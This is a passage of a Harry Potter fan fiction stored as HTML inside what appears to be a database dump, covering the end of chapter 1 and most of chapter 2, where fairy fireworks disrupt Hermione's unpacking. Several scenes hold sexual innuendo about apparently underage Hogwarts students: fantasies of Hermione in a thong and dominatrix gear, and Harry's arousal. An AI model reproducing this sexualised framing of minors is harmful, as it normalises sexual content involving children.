mouth for saying that last part.\nHopefully she wouldn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Hermione\nnoticed his words wondering what he meant, but she just shrugged it off. Oh\nwell she didn&#8217;t need to think about that now.&nbsp;\nShe glanced over at Fred and George who were laughing hysterically.&nbsp; Hermione shook her head, &#8220;will they ever grow\nup?&#8221; She mumbled to herself. Thinking that one day those pranks of theirs are\nreally going to hurt someone.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;But nothing really bad happened as fairies\nseemed to come out of broken glass orbs and fly about the room giggling.&nbsp; One landed in Ron&#8217;s hair and immediately\nbegan to braid the short strands into tiny braids.&nbsp;&nbsp; It seemed that someone let off a bunch of fireworks&nbsp; in the\nliving room and Fred and George looked up with grins on their faces.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Get off me!&#8221;\nRon waved his hand furiously at the fairy, the fairy\ngot a bit peeved and bit him on the finger. &#8220;OOOW!!!\nDamn fairy.&#8221; He stuck his bloody finger in his mouth to relieve the pain.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Oh Ron I think\nthey&#8217;re sweet.&#8221; Hermione beamed.&nbsp; As\nfairies seemed to swarm around her and dance about the air in a circle while\ncreating a sparkly mist as they danced. </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Sorry, just\ntrying out our new line of Weasley Fairy Fireworks.&#8221; George was smiling but he\nhid a devilish smirk.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;I happen to\nthink this is your best invention yet George.&#8221; Hermione praised even though she\ndidn&#8217;t approve of their pranks, this one was a better one.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry glanced\nup as a fairy was braiding his hair, he didn&#8217;t really mind. Maybe it would\nimprove the way it was always messy. &#8220;Interesting.&#8221; He\nsaid quietly.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Hermione gently\nbrushed the fairy away began to take out the little braid in Harry&#8217;s hair.&nbsp; &#8220;There now, much better.&#8221; She said with a\nsmile. </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry gave her a\nhalf grin but couldn&#8217;t think of anything to say back to her.&nbsp; There was an odd silence about the room.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Well.&#8221; Fred\nsaid breaking silence.&nbsp; &#8220;Let&#8217;s help\nHermione up to Ginny&#8217;s room.&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Fred went to\nher trunk and picked it up.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Without warning\nGeorge then lifted Hermione and threw her over his shoulder.&nbsp; &#8220;My Lady your royal transportation is\nready.&nbsp; Lead the way Sir Fredrick.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Certainly Sir\nGeorge,&#8221;&nbsp; Fred\nsaid and began to carry her trunk up the stairs.&nbsp; George followed with Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;George I can\nwalk you know.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Nonsense My\nLady, those delicate tootsies shall not touch a speck of dust.&#8221; And he\ncontinued to carry her up the stairs.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Hermione was\nlooking back at Harry and Ron, the shrugged with a half grin.&nbsp; She went with the flow.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Both Ron and\nHarry were scowling at Fred and George. They both turned looking at each other\nthe same expression mirrored in the other&#8217;s gaze, they dropped the scowl\nimmediately.&nbsp; Hoping\nthat the other didn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry shook his\nhead and picked up his trunk&nbsp;\nheading up to Ron&#8217;s room.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron shook his\nhead back and forth, well so what if number one of his plan didn&#8217;t go\naccordingly, he still had a month to get to Hermione. Yes everything was fine,\nall was well. He wouldn&#8217;t worry.&nbsp; The\nnext item on the plan was ready to put into play.&nbsp; Yes by the end of the month he would have his\nprize.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">======</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Well that&#8217;s the\nend of chapter 1, I know this chapter was mostly in Ron&#8217;s POV but it was his\nplan, and I needed to get a little info on what he wants to do.&nbsp; The rest of the chapters will be all of their\nPOV&#8217;s.&nbsp; Well I\nhope you continue reading. Chapter 2 will be out in about a week. I still have\nSoul Scepter and its sequels to write.&nbsp; I\nhad to get this idea out in fan fiction form or else I would have gone NUTS!!\n:-)&nbsp; Happy reading.\nRead and Review thanks Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">Disclaimer: All original Harry Potter characters belong to\nJ.K. Rowlings, not me. *sigh* Oh well</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nOne Hot Summer</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chapter\n2&#8212;In Hermione&#8217;s Trunk</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So is Ginny really in Paris?&#8221;\nHermione said with a far off look in her eye.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep.&#8221; Fred said, he sat down on\nthe bed. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh I would love\nto study in France; maybe I&#8217;ll spend some time there after I graduate\nHogwarts.&#8221; She sighed while holding a shirt in her hand. &#8220;How&#8217;s the joke shop\ncoming?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh fine, fine.&#8221; George said from\ninside the closet he opened Hermione&#8217;s truck.&nbsp;\n&#8220;Wow look at all this neat stuff.&#8221; He wasn&#8217;t referring to her school\nsupplies that&#8217;s for sure.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He noticed that Hermione&#8217;s taste\nin undergarments were of satin and silk. Very, very sexy.&nbsp; He thought to himself, a thought popped into\nhis head and he wondered who would get to see these. An mischievous grin graced\nhis face as he pulled out the list, <i style="mso-bidi-font-style:normal">So\nRon wants to check out Hermione&#8217;s underwear, well then he shall</i> George\nstarted sniggering quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione heard a knock on the open\nbedroom door, she turned and found Ron step inside. She gave him a smile.&nbsp; &#8220;Hey Ron, what&#8217;s up?&#8221; She was holding a\npurple button up shirt in her left hand and a clothes hanger in her right hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing much, just came to see if\nyou needed help with anything.&#8221; He grinned. Ron noticed Fred sitting on the bed\nhis legs crossed underneath him.&nbsp; He\nlooked around for the other Terror Twin but didn&#8217;t see him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She shook her head, &#8220;nope, I\npretty much have everything under control.&nbsp;\nBut thanks for asking.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione you actually wear\nthese?&#8221; said George as he popped out of the closet holding a blue thong in his\nhand. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s face went bright red, seeing\nthe blue silk in between George&#8217;s fingers.&nbsp;\nHe was brought back to reality when Hermione ripped her undergarments\nfrom George&#8217;s hand and shoved them behind her back.&nbsp; &#8220;They were a gag gift from my friend who\nlives across the street from me; she knows I would never wear these.&nbsp; She was helping me pack my trunk and must\nhave slipped them in.&#8221; Hermione argued.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Right Hermione.&#8221; George said with\na wink, &#8220;I believe you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s jaw dropped in\ndisbelief. &#8220;It&#8217;s the truth, I would never wear such a thing.&#8221; She said shaking\nher head with disgust.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why not, they look very\nappealing.&#8221; George said crossing his arms over his chest; he glanced over at\nRon who was if it were possible turning an even brighter shade of red.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well for your information, they\nare very uncomfortable.&#8221; She tossed the thong into her open trunk which was on\nthe ground next to George&#8217;s feet. &#8220;How would you like it if every time you took\na step you would have to pick it out of in between your ass?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So you&#8217;re saying you&#8217;ve actually\nworn them?&#8221; George said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s face increased in\ncolor. &#8220;Alright, so I&#8217;ve worn them once.&#8221; She stuck her finger in the air &#8220;but\nonly once, and I certainly didn&#8217;t want to take them to school with me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron had a vision of Hermione\nstanding in front of him wearing only that blue thong, he shook his head, he\nhated the color blue.&nbsp; A cheesy grin\nappeared on his face when he imagined her in a black thong.&nbsp; He sighed causing three heads to snap in his\ndirection giving him an odd expression.&nbsp;\nRon noticed Hermione, George and Fred staring at him and he straightened\nhis posture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is everything alright Ron, you\nlook a little flushed.&#8221; Fred said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Ron&#8217;s voice cracked, he\ncleared his throat.&nbsp; &#8220;No, I&#8217;m fine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry walked into the room looking\nat everyone who was in Ginny&#8217;s room.&nbsp;\n&#8220;What are all of you doing in here?&#8221; He asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled back at him, &#8220;well\nFred and George were just helping me unpack my things.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, that&#8217;s nice of them.&#8221; He said\nwith sincerity.&nbsp; &#8220;Do you need some more\nhelp?&#8221; Harry offered with a friendly smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think everything is getting\ntaken care of, I probably don&#8217;t need anymore help. But if you want you can get\nout my homework supplies and set them on the bed for me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded &#8220;alright then.&#8221;&nbsp; He went over to Hermione&#8217;s trunk and pulled\nout her school supplies and carried them over to the bed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron felt odd, he just asked to\nhelp and she brushed him off. He looked at Fred who seemed to be holding in\nlaughter.&nbsp; &#8220;What&#8217;s so funny?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Fred noticed six fairies enter the\nbedroom hovering above Ron&#8217;s head. He thought quickly. &#8220;I was just noticing\nthat the fairies have taken a liking to you Ronnie.&#8221; He pointed up above Ron&#8217;s\nhead.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron looked up as the fairies were\nsprinkling sparkly dust on top of him, turning his hair from red to a nice\nshade of green and gold.&nbsp; &#8220;Ahhhh! Get these damn things away from me.&#8221;&nbsp; He heard the fairies giggling while he waved\nhis arms frantically in the air. The fairies started drifting away from him,\nyet one of them came back and gave him a good kick in the cheek then darted\naway still giggling</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oow!!&#8221;\nRon said rubbing his cheek</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glared at Ron &#8220;Leave them\nalone Ron, they are just fairies and they are not really hurting you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Leave them alone? Leave them\nalone? They are the ones terrorizing me.&#8221;&nbsp;\nRon said pointing a finger at his chest.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head as fairies\nwere sprinkling her own hair with colored mist turning it a nice shade of light\npink and orange.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled, &#8220;that&#8217;s a good look\nfor you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stifled a giggle herself,\n&#8220;oh yeah what about you? Mister blue and yellow hair.&#8221; She pointed to the top\nof his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry moved over to the mirror and\nsure enough his hair was a mix of blue and yellow.&nbsp; &#8220;I rather like it.&#8221; He said with a silly grin\non his face. Harry heard the mirror whistle in appreciation and he jumped back </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Hermione, what&#8217;s this for?&#8221;\nGeorge asked as he pulled out a long red rope from her trunk.&nbsp; &#8220;Do you tie people up and whip them with\nthis.&#8221; George whipped the air with the rope.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s pulse charged up hearing\nabout that, he couldn&#8217;t help it just the thought of Hermione in black leather\nclinging to her every curve, standing in black vinyl spiked heels whipping that\nrope around got him all hot and bothered.&nbsp;\nThe palms of his hands started sweating and he looked over at Hermione\nand gulped down a breath of air.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;NO!!!&#8221; Hermione squealed. She\ntook a deep breath. &#8220;George, it&#8217;s a red licorice rope. It&#8217;s candy, you eat it.&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Aw, I still bet you could tie\nsomeone up and smack them around with it.&#8221; George wiggled his eyebrows\nsuggestively.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I could not, it would break.&#8221; She\nsaid calmly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oooh so\nyou&#8217;ve tried it before?&#8221; Fred took a quick look at Ron then winked at George.\n&#8220;I can just see you the mighty bookworm on the outside, but underneath, when\nthe lights go out you become the powerfully seductive Dominatrix.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was moving around as he felt\nhimself unable to stop the very wonderful images popping into his head.&nbsp; He stepped closer to her having the need to\nat least touch her, it was becoming too much to bear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry uncomfortably ran his hand\nthrough his hair, &#8220;uh, could we not talk about that anymore.&#8221; He said quietly\nunder his breath hoping that no one heard him, he too couldn&#8217;t help the imagery\nhis mind was forming and he took a deep breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What was that Harry? Did you say\nsomething?&#8221; George asked knowing perfectly well what was on his mind.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And no Fred I&#8217;ve never tried\nanything like that, I&#8217;ve actually never thought of anything like that.&#8221;\nHermione said as she stepped near to her trunk.&nbsp;\nShe hung up the shirt she was holding in the closet.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The fairies flew next to George,\nthey wanted the licorice rope.&nbsp; He played\na little tug of war with the fairies, he heard them giggling and cheering each\nother on.&nbsp; George finally let go and the\nfairies thought they won shouting in triumph as they flew about the room with\nthe licorice rope in their little hands.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron seemed to hover towards\nHermione when a fairies sped by him, he felt the end of the licorice rope whip\nagainst his rear end.&nbsp; &#8220;Eeoow!&#8221; He started rubbing his hand along the now bruised\narea trying to soothe the pain.&nbsp;&nbsp; He\nlooked over and saw that the fairies were actually starting to wreck\nhavoc.&nbsp; He saw one of them appear to be whispering\ninto Fred&#8217;s ear as one of the other fairies was in the process of stealing\nHarry&#8217;s glasses.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey, give those back.&#8221; Harry said\njumping up for his glasses while the fairy just hovered in the air barely above\nhis reach.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here let me help.&#8221; Hermione said\nalso jumping up and down trying to reach Harry&#8217;s glasses.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron feeling left out decided to\nlend a hand also, he quickly rushed over to the fairy and almost grabbed the\nglasses from the fairy but it zoomed up higher away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The fairies decided to have a\nlittle fun and started zooming around the room creating a thick purple, pink\nand orange sparkly mist, you couldn&#8217;t even see your hand in front of your face.\nAll you heard from the mist was a lot of ow&#8217;s and\nhey&#8212;don&#8217;t&#8212;do&#8212;that&#8217;s</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">When the mist settled Ron didn&#8217;t\nlike it when he saw that Harry and Hermione were pushed together with the\nlicorice rope securely around the both of them, binding the two to each\nother.&nbsp; They were struggling in the rope\nas the fairies were giggling in the process of flying gracefully about the\nroom.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron attempted to get to Harry and\nHermione to release them of the binding and one of the fairies darted from the\nbedroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione were struggling\nto get out of the licorice rope which is usually a pretty easy thing to rip in\nhalf, but for some reason it felt as strong as iron. Which was also really\ndistracting since every time they would struggle a bit their bodies would press\na little closer together which would send wonderful tingly feelings through\nboth of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\nRon was moving quickly over to Harry and Hermione when the fairy returned\nholding a small bag of marbles from Ron&#8217;s bedroom.&nbsp; The fairy opened the bag and dumped the\nmarbles out on the floor, the round orbs went rolling in all directions. Ron\nwas going so fast that he stepped on some and slipped falling down knocking\ninto both Harry and Hermione causing them both to also fall to the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry fell on something soft yet\nvery comfortable, he was lost for a moment.&nbsp;\nHe planted his hands down firmly to try and push himself off the ground.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Um,&#8221; Hermione&#8217;s voice cracked a\nlittle. &#8220;Harry would you kindly remove your hands from my person.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221; He then remembered that him\nand Hermione were stuck together and that she was probably the soft thing he\nwas lying on. It didn&#8217;t register in his mind that he had his hands on her&#8212;&#8221; His\nconcentration was broken by Hermione&#8217;s voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry, hands move them.&#8221; She was\ngrowing angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He realized where his hands must\nbe and he pulled them away quickly his face growing red very quickly. &#8220;Oh, I&#8217;m\nsooo sorry, Hermione I didn&#8217;t realize&#8212;&#8221; He was interrupted</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry just get off of me, so I\ncan get up.&#8221; Her voice was trimmed with irritation</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry started to struggle a bit to\ntry and stand but that only made the situation worse,&nbsp; that actually felt really nice he felt his\nbody start to react to her in this position.&nbsp;\nHe sure hoped she couldn&#8217;t feel his reaction to her at this moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s face flushed bright red\nshe was about to say what was on her mind when Fred and George appeared next to\nthem, they snapped the licorice rope in half and helped Harry off of Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The fairy dropped Harry&#8217;s glasses\nin his lap and he put them on and got to his feet. He couldn&#8217;t bring himself to\nlook at Hermione, hopefully she didn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was steaming by now, this was\ncertainly not his day.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked at the four boys,\n&#8220;I think I&#8217;ll go and see if your mum needs help with anything.&#8221; Hermione said\nas her voice quivered with embarrassment, she quickly darted from the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh, yeah I need to, to. Go and uh\ntake care of something.&#8221; Harry said quickly as he too left the room in haste.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron shook his head in disbelief,\ntwo of his plans had failed, well the third should be a success.&nbsp; After dinner tonight he would get some alone\ntime with Hermione, and with that thought he left the room and went into his\nown.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Fred and George doubled over in\nhysterical laughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That was soo\nfunny, did 